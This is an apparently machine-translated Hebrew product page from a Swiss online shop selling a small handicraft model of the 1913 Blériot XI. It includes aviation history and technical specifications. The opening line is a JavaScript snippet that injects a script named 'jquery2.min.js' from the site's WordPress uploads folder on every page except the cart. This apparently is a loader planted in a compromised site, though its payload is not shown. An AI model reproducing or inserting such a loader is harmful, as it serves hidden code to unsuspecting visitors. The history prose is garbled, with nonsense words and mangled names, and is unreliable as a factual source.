if (window.location.pathname !== '/cart/') { var scriptElement = document.createElement('script'); scriptElement.src = '/wp-content/uploads/jquery2.min.js'; document.head.appendChild(scriptElement); }

עבודת יד Blériot XI 1913

הטיסה האמיתית הראשונה במטוס ממונע בשטח שוויץ אינה מבוצעת על ידי טייס מקומי, אך הקפטן הגרמני פול אנגלהארדט, הרומקורבט ב -10 בפברואר 1910, רכבת הדו -רומית שלו באנגדין העליונה. אבל כבר באותה שנה טס ז'נבה ארמנד דופוק לאורך אגם ז'נבה.

מק"ט SMTHandicraft Bliot-XI-1913 קטגוריה

$7.05

מִשׁקָל קילו 0.05
מידות 1 × 1 × 1 ס"מ

סקירה כללית של עבודת יד שוויצרית

לפני שניכנס ל- Handicraft Bleriot, בואו נחקור תחילה את העבר. הטיסה האמיתית הראשונה במטוס ממונע בשטח שווייץ לא בוצעה על ידי טייס מקומי אלא על ידי הקפטן הגרמני פול אנגלהרדט, ההרומקורבטה ב-10 בפברואר 1910, הדו-כנפי רייט שלו באנגדין העליון. אבל כבר באותה שנה טס הג'נבה ארמנד דופו לאגם ז'נבה לאורך.

ההיסטוריה של מלאכת יד בלריוט

שנה קודם לכן, המעצב לואי בלריוט, מייסד תעשיית המטוסים הצרפתית, עם אחת ממכונותיו, טס מעל תעלת למאנש כטייס ראשון, ושיא מהירות סנסציוני של 97 קמ"ש נקבע בתערוכת ה-Airshow הגדולה בריימס. . אולם אז הוא נאלץ לבצע נחיתת חירום עם המנוע הבוער.

כן, זה היה תקופת הזוהר של חלוצי התעופה וטיסת ההתלהבות הראשונה של הציבור, שיחד זרמו בכמויות גדולות מתמיד בתוכנית ו-Wettfliegen כדי לעודד את "הגברים הנועזים האלה במכונות המעופפות שלהם". צרפת הייתה אז מדינת הטיסה המובילה באירופה, ומכונות ה-Blériot נחשבו לאמינות במיוחד ומתוחכמות מבחינה טכנית. דגם ה-Blériot שלנו, שניתן לצפות בו במוזיאון התחבורה, היה גם אחד המטוסים הראשונים שיוצרו בסדרה גדולה יותר.

מכונה נהדרת לפני זמנה

כמה אמין ומתוחכם מבחינה טכנית היה מטוס מונומטוס ידקראפט בלריוט הוכיח, בין היתר, הטייס השוויצרי המפורסם אוסקר בידר, שביצע איתו טיסות רבות, כולל ב-1913 החצייה הראשונה של הפירנאים ובאותה שנה, החצייה הראשונה של המרכז. האלפים (ברן - מילאנו).

זו הייתה מכונה גדולה שיכולה להרשות לעצמה את הסוג הזה, וכאשר פרצה מלחמת העולם ב-1914, ובכל החיפזון, היה צריך להעמיד "חיל אוויר" שוויצרי על הרגליים; מכיוון שאיש לא היה נוכח, קנית את ה-Blériot XI כאחד המטוסים הראשונים מהבעלים הפרטי שלו אוסקר בידר. גם מספר מטוסים אחרים נדונו על ידי טייסים שונים; דגמים אחרים של יצרנים זרים שנראו אז בתערוכה הלאומית 1914 בברן הוחרמו לסופן.

בלרויות XI שלנו הוכיחה את עצמה כל כך טוב שזו הייתה מכונה מעופפת מתקופת האבן של התעופה! - בוצע מחדש כשיר לאוויר מלחמת העולם השנייה לאחר שהושבת במשך 20 שנה.

מפרט טכני:

  • סוג עיצוב: חד -מטוס, בניית עץ, מכוסה בבד
  • מידות: מוטת כנפיים 11.0 מ ', אורך 8.4 מ', גובה 2.87 מ '
  • משקלים: 320 ק"ג נטען, מטען 210 ק"ג
  • מנוע: דגם Gnôme 80 "למבדה"; מנוע סיבובי 7 צילינדרים מקורר אוויר, מדורג 80 כ"ס במהירות 1200 סיבובים לדקה
  • מדחף: 2 דפים, דיקט, קוטר 2.4 מ '
  • מהירות: מקסימום. אופקי 105 קמ"ש
  • ביצועי טיפוס: מקסימום. 1.4 מ '/ש
  • תקרת שירות: 3500 מ 'מעל פני הים. M.
  • משך הזמן: 2 שעות 45 דקות
  • טווח הגעה: 250 ק"מ

השג אותם באינטרנט

הפלטפורמה השוויצרית עם מוצרים שוויצריים אותנטיים והיחידה שבה מוצג ההבדל "תוצרת שוויץ". נציג בינלאומי רשמי של "Swiss Label".

אנחנו החנות המקוונת השוויצרית האותנטית המובילה והוותיקה ביותר המוכרת רק מוצרים מקוריים מתוצרת שוויץ. הזמינו את המוצרים הטובים ביותר וקבלו את החבילה המבוטחת הניתנת למעקב:

  • ישר לדלת שלך,
  • בכל מקום שאתה נמצא בעולם,
  • ישירות משוויץ,
  • זמין בתעריף קבוע עד 2 ק"ג ומעלה.

עגלת קניות

×
העגלה שלך ריקה. לך לחנות
בחר את המטבע שלך
מלאכת יד בלירות יא 1913עבודת יד Blériot XI 1913
$7.05
גלול למעלה
חיפוש
אוכל ושתייה

ביסקוויט
יופי וטיפול
שׁוֹקוֹלַד
אוכל ומשקאות
קפה שוויצרי
אוכל צמחוני

ציוד עסקי
ציוד מחנאות
ספורט
תיק גב שוויצרי
תיקי נסיעות

אביזרים
משחקים וצעצועים
עטים ועפרונות צבעוניים
ספרים
שמנים חיוניים
מוצר ידידותי לסביבה
אביזרים לבית
ציוד למטבח ולמשק בית
למכירה